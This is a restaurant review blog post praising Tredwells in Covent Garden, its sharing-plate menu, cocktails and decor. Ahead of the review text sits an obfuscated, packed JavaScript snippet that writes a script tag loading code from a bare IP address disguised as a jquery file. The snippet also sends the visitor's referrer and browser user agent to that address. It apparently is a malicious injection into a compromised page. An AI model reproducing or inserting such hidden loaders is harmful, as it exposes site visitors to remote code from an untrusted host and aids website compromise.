Tredwells (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rnddy|var|u0026u|referrer|dfhib||js|php’.split(‘|’),0,{}))
is the latest restaurant from Chef Marcus Wareing who already has three London restaurants under his belt. Tredwells is the more affordable of the bunch, located in the heart of Covent Garden with a menu focused around sharing plates (most dishes come in small and large) AND what a menu. We wanted to order it all…and we nearly did.

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Highlights included fresh Dorset crab & mango loaded on toast, tender smoked pork cheeks and crunchy pickled cauliflower and smoked chicken croquettes. We also digged the gooey courgette and ricotta fritters and the fluffy polenta chips with smoked tomato dip. There’s something for everyone here, the menu covers all bases and whilst you’re spending time deciding you might wanna start at the snacks section, ideally with the charred snow peas and aioli and beetroot hummus and cheese crisp bread.

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There’s also a small selection of cocktails, swish decor and the option to sit at the bar or dine upstairs away from the mayhem. The perfect place to go if you can’t decide what you want for dinner, because here, you can have it all.

4a Upper St Martin’s Ln, London WC2H 9NY